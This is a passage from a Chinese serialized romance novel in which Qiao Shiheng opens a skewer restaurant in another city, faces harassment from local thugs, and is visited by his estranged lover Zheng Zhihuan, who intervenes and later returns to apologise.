王圆从门里探出头来，“老板，小乔哥说让你以后也不许来。”她说着把两百块钞票还给他，“板凳费还给你。” 郑祉桓没接，“长期租赁。” “看在钱的分上，我好心提醒你。”王圆压低声音，“就刚刚那个拥抱小乔哥的男人，有一段时间老把车停在这个路口，你看他又高又帅还那么有钱，关键看着也年轻。”王圆打量了一下面前这个男人的后脑勺，再到他身上那件深色的夹克衫上，摇了摇头，“我看你可没什么竞争力。” “呵。”郑祉桓冷笑一声，他把橘子皮扔进垃圾桶，站起身来。 只到他胸口的王圆猛然感受到了压迫感，她忙往后退了两步，退到门里面。 “他已经失去了竞争资格。” 乔施珩回到家，乔施文正在跟乔施军滔滔不绝，茶几上摆着个文件夹，他走过去拿起来看看，是乔施文的Z教相关。 “通知下来了？什么时候走？” “三天后。” “一年内还要考到教师资格证啊？”乔施珩担忧，“难度大吗？” “你要相信小文，她这个脑子好使得很。”乔施军又叮嘱他，“明天，你带她去商场里买买衣服什么的。” “不用了，我衣服够多了，什么款式都有。”乔施文想了想，“不过去那边还是要穿简单一些，我带几套日常的就可以了。” “去看看吧，顺便买一些日常用品。” “日常用品到那边去买就行了。”乔施文脑子一转，“那不然哥你请我吃饭吧，我想吃大米饭配辣串串。” “你这不是说巧了。”乔施珩笑，“蒙久店里就主推这个。” 第二天他们去了蒙久的店里，蒙久热情招呼他们，他脱了身上的围裙，坐到桌前，给乔施珩递了瓶饮料。 “我之前去天市，我那个店装得差不多了，估计这阵子都得两头跑，累坏了。” 乔施文听乔施珩说了个大概，她问：“那你以后就一直在天市吗？” 蒙久忽然重重叹了口气，“造化弄人啊，也不能说是造化弄人。” “怎么了？” “我女朋友和她家里的人一看我这么坚决，为了她不惜跑去天市开店，可把她们感动坏了，直到我店面装修差不多了她们才相信，我女朋友当场就表示要跟我来申市生活，你看看，这事儿闹得，我那店面盘了三年呢，这下可好，还得盘算着出手。” 乔施文问他：“那你盘店面盘了三年，你得花多少钱啊？” “可不是巧了，你猜我为什么盘三年？”蒙久解释，“天市高低也是个直X市是吧？那几个核心区域我都没敢想，好在我女朋友父母也不在城里，她老家在城郊，属于外围了，叫安南区。那附近有不少学校，有什么中专、大专之类的技术学院，也有一些厂区，写字楼什么的，治安也不是特别好，所以那边店租竟然意想不到的便宜。”他举了三根手指，“一年十万，三年三十万都算贵的了，这个价钱能租个八十平的店面，在申市，你敢想？” 不止乔施珩，乔施文也惊诧：“真的假的？那还真的不算贵，你就说我们那破城中村，那八十平都得多少了？” “是吧？这也是我为什么二话不说盘三年，对了，盘三年还便宜五万。” 乔施文忽然想到：“那不能是凶宅吧？” “那当然不能，我查过了，前面几个租户都挺正常的，绝对不是。” “那就好，那你要脱手应该也不难。” “我就是可惜，装修都是我亲自远程盯的。”他指了指自己的屋子，“你瞧我这儿，多有艺术感，那边就更别提了。” 他掏出手机，翻出照片给乔施文看，乔施文看了也直呼，“好看好看，像咖啡店，比你现在这个还有艺术感。”她瞧了瞧蒙久，“看不出来啊，你还挺有审美的。” 蒙久摆摆手，谦虚，“瞎整的。”他又惋惜：“给别人装了，我能不可惜么。” “转给我吧。” 乔施珩忽然这么说。 第60章 “我打算去外地了。”…… 蒙久这个人很仗义，他知道乔施珩没有经验，就提出帮助他将琐事都打点好，乔施珩觉得这样对蒙久不太公平，就提出了合伙，可蒙久却拒绝了。 他拒绝的理由是合伙容易闹出矛盾。 “我最开始开店就是跟人合伙，结果好好的兄弟，老死不相往来了。”他摆手，“我不跟你合伙，但我该帮的绝对帮你。” 乔施珩很不好意思，“这样多不好意思。” “你以后常常带朋友来我这里吃饭，或者在朋友间多多宣传我的店就行了。” 乔施文倒是一反常态，没说什么。只是在蒙久打趣的时候，她跟着说：“你放心吧，你这样热心肠的人不发财谁还能发财。”说着，就下单了一棵发财树给他送来。 回家的路上，两人没坐车，顺着街道往前走。 “为什么要去天市？”乔施文担心，“是因为郑先生的事情让你苦恼吗？” 乔施珩没跟家里人说过他和郑先生之间的具体细节，现在也并不打算告诉乔施文。 “我只是想出去透口气。” 太压抑了他想。 过去这一年，好像把以往没吃过的亲情、友情、爱情的苦，全都吃了。 乔施文想了想，觉得乔施珩这样做也挺好的。 “你毕竟长时间不在家里，很多年没怎么和我们待在一起，回来后，其实应该算是磨合期吧，好不容易磨合好了，你又要离开了。”乔施文还是问他：“哥，你会很讨厌我们吗？” “不是因为你们啊。” “我知道，我的意思是，你之前是不是挺讨厌我们的？” “讨厌肯定谈不上，再怎么说我们也是一家人。只是你和大哥的有些想法和做法，我不能赞同。”乔施珩虽然觉得自己多话，但还是念叨了一下，“我始终认为，我们就老老实实做人，本本分分做事这样就最好了。” “我知道。”乔施文笑嘻嘻，仿佛并不把那几天的网暴当回事，“你看我不就是投机取巧失败的典型。” “你很好了。”乔施珩没想到她会在经历打击之后转变得这么快，也或许，她骨子里就是个坚韧的人。“我之前操心你是最多的，因为你没有按照我预期的路去走，走歪了。好在如今也还不错，等你出去历练一番，更能看清自己，看清世界。” “好官方哦。”乔施文踩着路上的石板砖走，忽然想到：“你盘店的钱有吗？我把我值钱的奢牌都卖了，虽然钱不多，但也可以支援你一下。” “不用了。”乔施珩叮嘱她：“你卖的那些钱你要自己收好，以防在外面要用钱。” “我盘店的钱我自己有点积蓄，嫂子那里也有不少。”太芬之前给他看过家里的账，所以他知道家里有多少积蓄，而且太芬也总想着帮他攒结婚用的钱，几乎帮他攒齐了彩礼和婚礼一套下来的钱，而且她攒好的这部分钱算是非必要不动用。 所以这部分钱足够他开店了。 “我就知道嫂子有钱。她平时都用她卖破纸箱子的钱，只有轩轩婷婷上学不够用才问你要钱。” 乔施珩笑了笑，其实不然，家里确实困难。“你别忘了，还负担你学费和生活费呢，能攒下来的钱其实也不是很多。” “哎呀，我有钱了也会帮衬他们的嘛。” “所以现在好了很多啊，人不动一动，怎么好找出路呢。”乔施珩也不知道自己开店能不能成功，但他能够知道自己不会娶老婆了，所以值得赌上一把。 回家后他和太芬说了这件事，他以为乔施军会跳脚，站出来反对，没想到乔施军竟然赞成。 “依照我看，你也确实应该出去躲躲了。”他犯难，“先不说你开不开店，那郑先生要是三天两头搁这里守着，那谁受得了。” 太芬把银行卡拿给乔施珩，“这都是给你攒的老婆本，你全都拿去用，家里不用担心，够用呢。” “就是，现在我跟你嫂子两个人，就全心全意打理咱们那小摊，绝对没问题。”乔施军鼓励他：“你就大胆去做，赔了也不要紧，赔了就回来跟咱们一起卖串。” “说什么呢大哥。”乔施文当即表示：“你这是乌鸦嘴，那肯定必须红红火火。” “对对，我乌鸦嘴。” 乔施文走的那天，乔施珩把她送去机场跟那边的负责人会合。 这天还下着大雨，乔施文不想让他送，乔施珩坚持送。这算得上是乔施文除去旅游之外去得最远的地方了，乔施珩找到负责人再三确认了关于她安全在内的一些事项，最后乔施文无奈把他拉到一边。 “我是正规渠道去的，你别担心了。” “再正规我也得问两句啊。”乔施珩看着另外两个女孩子，“人家不都是家长来送。” 陪着乔施文候机，到最后把她送上飞机离开。 一整个早上，乔施珩都有点恍惚。 他不想再去想对和错的问题，他只知道，这个女孩子要去很远的地方了，去见那片他曾见过多年的天空。 从机场出来，他没回家，而是去了仓库。 仓库还是老样子，不同的货物区域不同的人在忙。 宋来出去送货了不在，陈新也不在。 乔施珩在秦姐的办公室里等陈新。 “小乔我老早就想问你了，你这皮肤上怎么连一点儿斑斑点点都没有？你看我，长了一脸斑。”秦姐举个小镜子，观察自己脸上的斑斑点点。 “你都用什么护肤品啊？” 乔施珩想了想：“大宝。” “……”秦姐感叹：“年轻好啊。” 陈新在外面不知道干什么去了，甩给乔施珩一个饭馆的地址，让他去这里吃饭。 已经过了午饭点了，乔施珩确实还没吃饭，就坐地铁去了。 陈新已经点好了菜，招呼他：“快吃。” “这顿饭我请。”乔施珩有些不好意思：“我有事想跟你说呢。” 陈新笑眯眯：“我已经猜到了。” “啊？”乔施珩更不好意思了：“你都猜到了吗？” “很难猜吗？”陈新并不意外：“你看起来就不是会一辈子都在我这里送货的样子。而且你这么久不来上班，我当然能猜到。” “对不起啊。”乔施珩说：“我打算去外地了。” 这显然出乎陈新意料，“去外地？去哪里？为什么？” “去天市，我朋友有个店在那边，要转手，我盘下了。打算过去开个店。”乔施珩不好意思：“卖串串。” 陈新担忧：“你没这方面的经验，会不会太冒险？” “我朋友也是开这个店的，有些事情他会帮我，再说了，我嫂子那个串串，卖得也不错。” 陈新没再质疑他，而是鼓励他：“那挺好了，可以去试一试。” 但是他似乎有什么心事，就没再说话了。 直到一顿饭吃完，他才开口：“小乔，我想有些话我不说你也应该明白。” 乔施珩不确定他是不是想说那种话。 “其实做朋友才最舒服，你不觉得吗？” 乔施珩点点头。 “改天晚上大家聚个餐，给你送行怎么样？” “不用了，不用麻烦了，我想明天就先去看看店面的。”乔施珩感觉不好意思：“我还没去看过呢。” “这么急？” “反正也没什么事，也不是马上就搬去，我只是先去看看。” 其实要去看看这件事并不是乔施珩主动提起的，而是蒙久刚好要过去，想带他去看看，再顺便一起回来。 所以时间才会比较赶。 蒙久这次去天市还是为了女朋友，不过他带乔施珩去看店的时候倒是没把女朋友带着。 从高铁站下来后他们打了辆车，一个多小时才到店铺前。 快到的时候乔施珩看了看四周的环境，确实不比中心城区繁华，但也不算偏僻，只是房屋道路这些基础设施比较陈旧。 “以前这片还是比较繁华的，后来开发了其他城区，这里也就成了郊区了。”下车后，蒙久指着一边告诉他：“那边学校多。” 他又指着另一边：“那边是厂区。” 最后他指着正面：“这就不用介绍了吧，一看就知道是小区哈哈。” “哦，对了，这附近还有商场呢，算是这个地方的中心区域了。”蒙久掏出钥匙打开店门，“快进来看看。” 这个店里装修的风格整体很简约，整体呈现灰白的视觉效果，看起来很简约。 “我这个人就喜欢简约风。”蒙久打包票：“你放心，桌椅板凳我都看好了，都是简约风，适配得很，还好打理。” 走现代简约风确实不错，乔施珩看了看蒙久给他看的桌椅板凳的图片，放在店里确实很合适。整体来看的话，线条干净流畅，呈现浅色调，采光通透，清爽整洁。 “你店名选好了吗？做招牌的时候咱们也就适配这个简约风，保准能行。” 乔施珩想了想，还是决定叫小乔串串。 他跟蒙久在天市待了两天，敲定了不少细节。蒙久女朋友的表妹没考上大学就出来工作了，之前一直在奶茶店，现在打算换个工作，蒙久就推荐给了乔施珩。 “所以你现在是店没开呢，店员倒是找好了。”乔施军问他：“靠谱吗？那孩子。” “看着能干呢。” “那就好，你开店就不能心软知道吧？你别再包子性格让别人欺负了去。” 太芬问他：“那住哪儿啊？” “店里后面有间房，刚好能住。” 太芬点点头：“你自己去，我们还是有点不放心。” “没事呢。很多东西要准备，要学习。”乔施珩想：“我明天就直接过去。” 乔施军欲言又止，倒是太芬说：“郑先生前天晚上来过。” “你们没把我要走的事儿告诉他吧？”《 》 60-69 第61章 磕磕绊绊中，这店也就开…… “没说，不过他也是略站站就走了，没说什么。”太芬有点犹豫，但还是问：“你们之间，究竟怎么回事？” 乔施珩看了一眼乔施军，他沉着脸，发现乔施珩看他，就瞪眼：“看我干什么？你要说就说，不说就算。” “没什么，就是我不想再继续这种关系了。” 乔施军打开保温杯喝水，“你老婆本都用了，肯定也不会娶老婆了，那你以后一辈子怎么办？” “别说这些了。”太芬出来打断这沉重的话题。 乔施军还是说：“你现在三十多岁，不觉得有什么，等老了以后呢？你连个说知心话的都没有。” “说什么知心话，你跟我之间也没讲过什么知心话！能一辈子不红脸走到最后的夫妻又能有多少？那隔壁好几家不都离婚了，现在离婚率那么高，谁能保证不是一个人到老。你净说些没用的。” 被太芬蹭了两句，乔施军也没再继续说下去，他只摆手：“随便吧，我也不管了。” 乔施珩始终没打算向他们坦白，他们能够接受这样的自己，他就已经很知足了。 走之前他本来想约杜慧慧，但杜慧慧恰好不在申市，没约成，但杜慧慧表示会去天市旅游，顺便光顾他的新店。 吃完晚饭他出去散步，正巧遇到潘以佳在遛狗。 老旧的城中村，灯光昏黄，乔施珩双手插兜，跟在她和狗狗的旁边，漫无目的地走着。 “其实这样也好，你走了以后，他碍于工作的关系，不可能追去天市，也许从此以后也就能彻底分开了。” 潘以佳是个新闻工作者，乔施珩问她：“没收到一些关于他的新闻消息吗？” “看起来，你比我先知道。” “我之前就知道了，但看网上一直风平浪静的。”乔施珩问她：“你是怎么知道的？” “我朋友也是做自媒体的，算是大V，比较有影响力的那种。我还有朋友是狗仔，总是跟明星八卦之类的，他收到了爆料信息，就发来询问我们的意见，我让他不要发，但看起来，他可能不会听我的。” “为什么？” “因为对方给的钱够多，值得冒险。”潘以佳无奈：“就在晚饭的时候，他还给我打了电话，我不赞成并不是因为其他原因，而是我认为没必要做这种新闻，搞不好，会牵连自己。”她又话锋一转，“但是钱够多啊，总有人会冒险，不是我的朋友，也会是别人。” 晚上睡觉的时候，潘以佳果然给他转了两条爆料链接。 他点进去，里面贴满了郑先生的那些照片，并质疑他这个人以及他为何能脱身，是不是背后有更大的势力。他看了看下面的评论，果然不少人群起而攻之，从他这个人攻击到他这个群体。 令他意外的是，所有被牵扯到的人中，他刷到了李溪的博文。 如果不是她的名字是本名，加上她自己的头像，乔施珩都快忘了这个瘦削，哭得梨花带雨却又有些没心没肺的女孩子。原来，她也是个十八线开外的小网红。 【好无语，吃瓜吃到自己。还有，我要说到了酒店里，我们纯谈话谈到了半夜，你们能相信吗？】 下面评论全都是质疑、嘲笑、谩骂。 她还是选择了两个网友的问题回复了。 【都聊了些什么啊？大半夜纯聊天，你看看谁信！】 【从我的学习规划到人生规划，包括考研还是考G，又或者深耕网红圈。不信就算咯。】 【这么大的一棵树，你不抱紧，你还是个合格的网红吗？】 【我倒是想抱，人家说我不行。（摊手.JPG）】 乔施珩关掉手机，尽管有些睡不着，但尽力没去想这件事，他反而想到了自己的店，他又开始被那种茫然与未知的不安吞没。 睡一睡醒一醒，一夜过后，他看到早上六点潘以佳给他发的消息，大概意思是爆料者以及相关平台都收到了上面的J告，不允许拿已经调查完成的事情做文章。 乔施珩再点进去那两条链接，已经删除。 他又去网上搜相关消息，结果什么都没有，连李溪的博文也一并删除，甚至她还被禁言了。 乔施珩也说不上意外，毕竟权利这个东西，很多人一无所知。 拖着行李箱落地天市时，乔施珩有种恍惚感，他以前从没想过自己会来到这座城市呢。 蒙久女朋友的表妹叫苗婷玉，乔施珩听蒙久叫她小玉，就跟着叫小玉。小玉在乔施珩到达之前就已经把店里的卫生打扫好了，她是个勤快又开朗的姑娘，看到乔施珩来，就忙前忙后，端茶倒水。 最后到了晚饭点，就邀请他去家里吃饭。 “我家就在对面那小区里，很近的，而且我家里就我妈妈和我哥哥，没有别人。” “不用了，我随便吃一口就行，我还要收拾一下。” 小玉没再勉强他，她是个藏不住事的急性子，问乔施珩：“小乔老板，你打算招聘几个店员啊？” “怎么了？” “我有朋友，她之前在我们市比较有名的那个来一串分店里做后厨，后来因为跟那里的店长不合，就被开除了，本来她想去学美甲，可是又没有天赋，我想你要是……” “有经验，那也有健康证？” “有的，都有的，健康证她可以明天就去弄一个。” “好，可以过来试试。” 小玉开心地跑走了。 这方面蒙久跟他说过，他这个店就后厨两个人，前厅两个人就够了，不过他自己算一个，他就想着暂时还是少招一个了。而且后面蒙久还要带着他店里的后厨过来培训一下这边的新人。至于相关证书和货物渠道这些，一部分前期蒙久已经联系好了，只是有些手续可能还需要乔施珩跑一趟。 乔施珩可以用来住的那间房里面什么都没有，只有一张折叠床，他不得不去百货商店里买一些日用品。 回来的时候就看到店门口，小玉带着个又瘦又高的女孩子站在那里说说笑笑。 看到乔施珩来了，她忙介绍：“小乔老板，这就是我跟你说的我朋友，她叫苗楠。” “小乔老板好。” 乔施珩看了看她们两个人，他想，也正好省了招人的麻烦。 小玉问他：“那明天我们干什么？” “明天我要去跑一些琐事。” 小玉当即自告奋勇要陪同，乔施珩也就答应了。 小玉开着她那辆小巧的“剁椒鱼头”，带着乔施珩跑了一天。 晚上乔施珩就请她们两个在旁边的饭馆吃饭。 “小乔哥，听说你是从申市来的呀？”小玉好奇：“申市不比咱们这里好多了，又有名，又魔幻。” “偶然的机会，想过来做做生意，就来试试。”乔施珩简要地回答。 “你放心吧，蒙久哥都叮嘱了，让我们一定好好干。” “谢谢你们。” 乔施珩其实不善交际，但这两个女孩子比较活泼开朗，几乎没有让他觉得尴尬的时候。 只是晚上回到那间房，就会觉得冷清。 家庭群里，乔施文在报备自己的生活和学习，她那边的环境虽然看起来不怎么样，但风景优美，人也都很朴实。 新店起步阶段很多事情乔施珩都不懂，蒙久又执意不与他合伙，但蒙久却很乐意出力，带着人往他店里跑或者自己往他店里跑。 磕磕绊绊中，这店也就开业了。 因为这边他几乎没什么朋友，都是小玉和苗楠叫了一些朋友来捧场。 新店开业有折扣活动，又是周六，吸引了不少这附近学校的学生。 小玉特意让乔施珩捯饬了一番，她说男人靠美貌也是可以有饭吃的。乔施珩并不很赞同，依然穿着普普通通的一身衣服。 他们人手少，新店第一天人又多，几乎从早忙到晚。 等晚上歇业了，几个人都累趴下了。 好在顾客的评价都很不错，尤其是比较符合年轻人的口味，乔施珩不知道后面生意怎么样，心里没底得很。但既然选择了这一步，他没办法退缩了，就算撞上南墙，也只能撞上去了。 不过这阵子太忙了，他几乎没有想起郑先生，或者和郑先生有关的一些事情。也就只有深夜突然醒来时，还会有些恍惚，不知自己身在何处，犹置梦中。 又或者在干活的间隙忽然想到，但转念又会被忙碌的生活所打断。 蒙久对他的店放心不下，开业第二天就过来了。 “我准备在你这儿盯几天再回去。”他从锅里拿了串串出来吃，“好吃啊，你又改料了？” “没有，就加了点麻酱。” “我发现你这味道比我那店里的好吃，我回头也回去让胡师傅捣鼓捣鼓。” 蒙久在这几天，带着他又跑了一趟货商，连带着卖锅和冰箱的货商都拜访了一遍。 乔施珩很感激他，蒙久却不觉得有什么，他说大家都是朋友，帮一把没什么。 在他的帮助下，乔施珩的店运行得还不错。 每天都有不少客人上门，大多是附近的学生和上班族。 这天晚上，店里来了几个不速之客—— 作者有话说：好无聊，写困了[小丑] 第62章 “你谁啊？你少管闲事！…… 这个时候已经临近打烊的时间点了，客人都陆续走光了。 以乔施珩的眼光来看，这几个人应该是附近学校的不良学生。他们一共四个人，进来后就把走过地方的椅子全都踢乱了，然后找了个最里面靠窗的位置坐下。 小玉战战兢兢走过去，“你们好，可以扫码点餐。” 这几个人头一歪，“没有手机哦。” 小玉就把手里的菜单送过去，“推荐酸辣锅，是我们店的招牌。” 这几个人几乎把菜单从头勾到尾，然后扔给了小玉，小玉没接住，那单子就飘到了地上。 小玉把菜单捡起来，看着菜单上几乎勾满的勾子，也知道这几人恐怕不是来吃饭的。 “怎么办？”小玉回来问乔施珩，“一看就是来找茬的。” 乔施珩拿着单子走过去，对之前那个勾菜单的男生说：“不好意思，我们店锅底最多可以选择四种，提供不了六种锅底。” 那男人抬眼看他：“那你还做什么生意？我们就要六宫格锅底。” 乔施珩依然笑眯眯：“不好意思，后厨锅具最多只有四宫格，强行做六种口味会串味，影响口感。不如我们免费提供你们2份招牌小吃，可以吗？” 这个男生跟他讨价还价：“我们四个人，一人一份。” 乔施珩不想惹出事端，就同意了。 结果这几个人却说：“那锅我们不点了。” 原来是吃霸王餐的。 “抱歉，小吃是点锅底的专属赠礼，没点锅底的话没法送，这是店里的规定。” “你不是老板吗？规定不是你定的吗？” 乔施珩仍然不卑不亢，“抱歉，规定无法更改。” 这几个人互相看了看，终于选了酸辣加番茄鸳鸯锅底。 之后的几天，这几个人每晚都在快打烊的时候来，乔施珩不想让两个女孩子等太晚，就让他们先走，自己留下来收拾。 这天晚上外面下着大雨，乔施珩让小玉和苗楠先走了，他自己在前台边上坐着算账。 那几个学生喝了不少啤酒，其中一个就招呼乔施珩过去。 乔施珩过去后，他们就从锅里捞出一撮头发来，问乔施珩：“老板，就给我们吃这个啊？” 如果是一根两根，那么乔施珩可能还会不确定，可他捞出来一撮，乔施珩就知道他们是故意的。 “抱歉，给你们添麻烦了。不过店里的食材以及锅底出锅时都会严格检查，后厨人员也都按规定佩戴帽子，应该不会出现这种情况。”乔施珩指了指监控，“店里有监控，可以还原真实情况。” 这几个学生显然没想到监控这一层面，他们摆摆手：“那就不必了，以后要注意卫生啊。” 乔施珩离开没两分钟，接二连三杯子碎裂的声音响起，伴随着那几个学生的口哨声，玩闹声。他转身，见他们已经把自己喝啤酒的杯子摔碎了，甚至连啤酒瓶都要往地上摔。 他们甚至还挑衅似的看着乔施珩。 乔施珩没理会他们，他直接拿起手机报J。 “老板，报J威胁我们啊？我们几个都是J局常客了。”为首的那个直接摊牌，“请我们吃两顿饭能把你吃穷了吗？” 乔施珩犹豫了一下，为了防止事情闹大，他没说话。 “进去关一关就出来了，你这店恐怕经不起一直有人闹吧？”他朝乔施珩走过去，“你不会这么穷吧？几顿饭都请不起。” 乔施珩还是没有说话，这其实已经超出了他的处理范围。 这个人却上手点他肩膀，“看得出来你不富裕了，店里这么忙才三个员工，你自己还算一个，你也不想赔本吧？” 乔施珩实在有些没忍住，但他的语气很柔和，带着点示弱，但说出来的话却实在不怎么好听，“可是，没有这样要饭的呢。” “你说我们是要饭的？”这个人跳脚。 乔施珩意识到可能惹怒他们了，果然，他们几个开始把椅子乱踢，踢来踢去，制造出噪声来。其中有个小男生举起了他们吃剩的锅，就要往地上摔，乔施珩出声：“那个四百块。” 但没拦住，他还是摔下去了，汤汁洒了一地。 果然，在JC到之前，他们要跑路了。 外面下着瓢泼大雨，几个人往门口走的时候，乔施珩想拦住他们，但被他们一路推推搡搡着到了门边。 门外闪起了J车的彩色光线，乔施珩终于感觉踏实了一些。 他配合JC一起处理，那几个人确实是惯犯，JC都认识他们。也就是这个时候，乔施珩才知道他们不是学生，而是社会闲散人员，偶尔还会小偷小摸。 其中一个JC找乔施珩调出监控，直接让他定破损清单。 当然，那几个人肯定没钱赔。 但乔施珩还是按照流程，签了调解协议。 接下来几天，果然清静了。 可惜好景不长，立冬那天晚上，他们又来了。 仍旧是一进门就把路过的桌椅板凳全部踢歪。 小玉正在把它们摆放整齐，随即呵斥：“干什么呀你们？” “看不明白吗？吃饭啊。”为首的那个男孩子头发比较长，遮住了眼睛，还留着个狼尾，看起来流里流气。 “我们已经要关店了，东西都卖完了，没了。” “你们店门口又没摆关店的牌子，灯也没关，门也没关，怎么就关店了？”他找了张桌子坐下来，“顾客就是上帝，不知道吗？” 小玉想和他们吵，被乔施珩拦住了。 “抱歉，今天东西已经卖完了。” “少给我打官腔，我跟你说，今天我们是这个时候来，明天可就不是了。” 小玉着急：“你们想干嘛啊？收保护费吗？电影看多了？” “还真看多了。”他往椅子上一靠，“至于怎么打发我们，你们自己想。”他警告：“别再想报J，没用。” 乔施珩也不知道该怎么办了，但是一旦答应他们的要求，那只会是个无底洞。 他比较强硬，“有没有用，总要试试。” 就在他准备拿手机的时候，店门忽然被人从外面拉开，有人进来了。 小玉急忙说：“抱歉，我们东西都卖完了，今天……”她见到来人，声音都低了下来，“今天不营业了，明天再来吧。” 乔施珩看到郑祉桓从外面进来，也很诧异，他很久都没想起来郑先生了，店里人手不够，每天都忙到倒头就睡，没空想太多。 郑祉桓什么都没带，就一个人。 他进门后，扫了四周一圈，最后目光越过乔施珩，落在那几个看起来就是不良少年的人身上。 “怎么了？”他问乔施珩。 不等乔施珩回答，为首那男孩子反问他：“你谁啊？你少管闲事！” 听到这种语气，郑祉桓就知道大概发生了什么事情。 他走过去，给这些人普法。 “根据《治安管理处罚法》第二十六条，寻衅滋事，包括结伙斗殴、追逐拦截他人、强拿硬要、任意损毁财物等，一般处5—10日拘留，可并处500元以下罚款；情节较重的，10—15日拘留，可并处1000元以下罚款。”他冷冷问他们：“你们是属于哪一种？” “少在这里装，局子里我们去得比你多。” “那么根据《刑法》第二百九十条，聚众扰乱社会秩序，情节严重，致使工作、生产等无法进行，造成严重损失的，对首要分子……”他看向那为首的男孩子，“处3—7年有期徒刑；对其他……”他又一一扫过剩余几人，“积极参加的，处3年以下有期徒刑、拘役、管制或剥夺政治权利。” 他走到为首那男孩子面前，“滚出去并且不要再来，否则。”他俯身：“你会牢底坐穿。” “你吓唬谁呢！”那男孩子要伸手推他，被他握住手腕，又要抬脚踢他，被他压住腿。“我不会提醒你第二次。” 他手上用力，把人压在桌上，痛得那男孩子嗷嗷叫。 他的几个小弟要动。 “你们最好别动。”郑祉桓把那男孩子揪起来，他对一边的小玉说：“报J，我来跟他们沟通。” 小玉反应过来照做。 乔施珩没表示什么，他当然知道郑先生有他自己的处理方式，而且他也不想再总是招惹这些小混混，所以他始终站在一边，等郑祉桓处理。 Jc来了后，把人都带走了，郑祉桓也跟着去了。 乔施珩没跟他说什么，他也没有跟乔施珩说什么。 等车都走了以后，乔施珩后知后觉，问小玉：“今天周几？” “今天是周五。” 乔施珩看了看时间，不禁猜测郑先生是不是下班就过来了。 “小乔老板，他是谁啊？好厉害的样子，是个律师吗？” “不是。” “你怎么不跟去呢？那几个人真是无赖死了，他们就是想要钱，然后看我们好欺负，隔壁那几个店里都好几个男人在，你叫他们敢去。” 小玉和苗楠下班后，乔施珩在门前站了很久。 他不知道去处理事情的郑先生还会不会回来，他猜测他会回来。 但他还是锁了门。 可这个晚上他却没睡好，他总是醒，总是醒，像是睡着了，又像是没睡着。天亮后，他顶着两个黑眼圈去开门，那瞬间他其实没办法骗自己，他以为郑先生会在门口的。 可门外却空空如也，仿佛昨夜那个插曲，是一场梦。 他垂下眼眸，把门关上，又回去后面的房间里洗漱。 十一月份的天市已经很凉了，他穿了件毛衣，外面套上工作服，过一会儿货商就会送今天的食材过来。 可当他再次到门前，却发现玻璃门外，郑祉桓靠墙站着，手里拎着两份早餐。 隔着玻璃门，郑祉桓的目光停留在乔施珩的脸上。 像是很久都没见他，要仔仔细细将他的每一帧都看进眼里。 他们这样对视了一会儿，谁也没说话，乔施珩先垂下眼眸，他打开门。 郑祉桓站直身体，不知为何，他看着有些紧张，也或许能形容成局促，好像有些害怕自己开口说话，会惊了乔施珩，所以他即便不安，即便几次试图举起手中的早餐，却仍然什么也没说。 像是等待乔施珩的发落。 乔施珩下垂的目光定格在他那只拎着早餐，好似无处安放的右手上。 “为什么来这里？” “来看看你。”郑祉桓和乔施珩一样，没去看对方的眼睛，他也是垂着眼眸，目光落在乔施珩的工作服上，“我没想到，你会跑这么远。” 乔施珩想从申市那种压抑的环境里解脱，郑祉桓自然功不可没。 似乎做出离开申市，跑到天市做生意这样决定的乔施珩，让他非常吃惊，同时他也不能理解。尽管他很想质问乔施珩，但眼下真的见到人时，他却说不出任何质疑的话来。 那瞬间一种他自己也说不明白的情绪笼罩了他。 乔施珩看他欲言又止，难得在他脸上看到那么明显的犹豫。 可他还是说：“以后，别来这里了。” 第63章 “所以你判我死刑，我接…… 被宣判了“死刑”的郑祉桓显然有些不能接受，他像是个行至山穷水尽处的旅人。 他似乎想说什么，但开口的话却被一辆开到门口的小货车打断。 乔施珩打开门走了出来。 “乔老板，货来了。”司机从车上跳下来，热情地帮他从车里拎食材出来。 乔施珩一边跟他寒暄几句，一边拎着食材进店里。 当他再出来，郑祉桓已经不在原地。 他的店生意不错，才开业不到三个月，就已经很有人气。不管是前厅还是后厨，都忙不过来，乔施珩想了想，还是打印了两张招工启事贴在了店门口。 “是该招人了。”小玉一边擦桌子，一边说：“小乔老板你还要不停地调试口味，我们根本忙不过来。” 乔施珩自己所调制的锅底就是酸辣锅底，并且确实做得很好。但一个串串店不能只有一种口味，其他三种口味都是蒙久店里的口味被他略微改了一下，而他总是觉得不满意，事实证明，回头客几乎点的都是酸辣锅底，所以他还要再改一下其他三种口味，可太忙了，忙到没有时间。 当天下午就有人进门问是不是招人，但乔施珩实在太忙，就问她能不能等下班了再来，那个大姐欣然答应。 晚上下班后，在乔施珩拖地的时候，那个大姐推门进来了。 小玉急忙过来接过他手里的拖把。 乔施珩领着她找了张桌子坐下。 “我叫付用梅，就住在这附近，今年都四十六了，之前都在饭店干，前阵子那口子生病了，就辞了回家照顾他，现在他好了，我就再出来找点事做。” 乔施珩看她很朴实，又有经验，在和她谈薪资的时候也比较顺利。 “钱多钱少我都能干。” 于是，乔施珩的店里，就这样新增了一位跑前厅的梅姐。 送走梅姐，小玉她们也都下班离开了。 乔施珩简单收拾了一下就准备关门，却在锁门的时候，被人拍了两下门。 玻璃门外，郑祉桓有些狼狈地出现。 他还是穿着早上的衣服，只是似乎喝了酒，步伐有些不稳，外套敞开，里面的衬衫有些打湿的痕迹，好像是水洒上去了。 乔施珩看着他，他也在看乔施珩。 只是他比乔施珩先开口，“阿珩，我是真的不明白。” 乔施珩拿下锁，打开了门。 郑祉桓步履踉跄着进门，他解开衬衫的扣子，扑到最近的那张桌子上，又强撑着站直身体。 而乔施珩关上门，拉上了门帘。 他到控台倒了杯水给他。 郑祉桓接过水，却没喝，他看着玻璃杯里晃动的水面，“卫生间在什么地方？” 乔施珩指了指方向，他就跌跌撞撞跑过去吐了。 乔施珩看他痛苦地干呕，猜测他是不是一天都在喝酒。 他打开水龙头漱口，接着又捧起水冲了把脸。 这些都做完了以后，他又沉默着走回了刚刚的桌边，端起了那杯水，开水还烫着，他反复摩挲杯身，却久久都没能说出什么。 乔施珩比他更沉默。 在这间装修简约的饭馆中，他们相对无言很久，久到玻璃门窗上出现了水雾。 水珠攒动，顺着玻璃流下，留下一道清晰的痕迹。 像裂纹。 许久后，郑祉桓终于开口，他的声音低哑，干涩。 “对不起。” 他看起来很坦然，但抬眼去看乔施珩的时候，眼中始终雾气蒙蒙。 “我只是不明白，我真的认为我已经做到了我能做到的所有。我的人生到去年为止，都在我的计划之中。所有脱离计划外的冒险行事，也都是为你。” “有些很阴暗的事情，很难去解释，我也始终认为，知道得越少越好，所以很多事，我不会跟你说。我不是个理想派，我能走到今天，并不是只靠一腔热血。没人能只靠理想去完成理想，也没有一朵花真的能出淤泥而不染。” 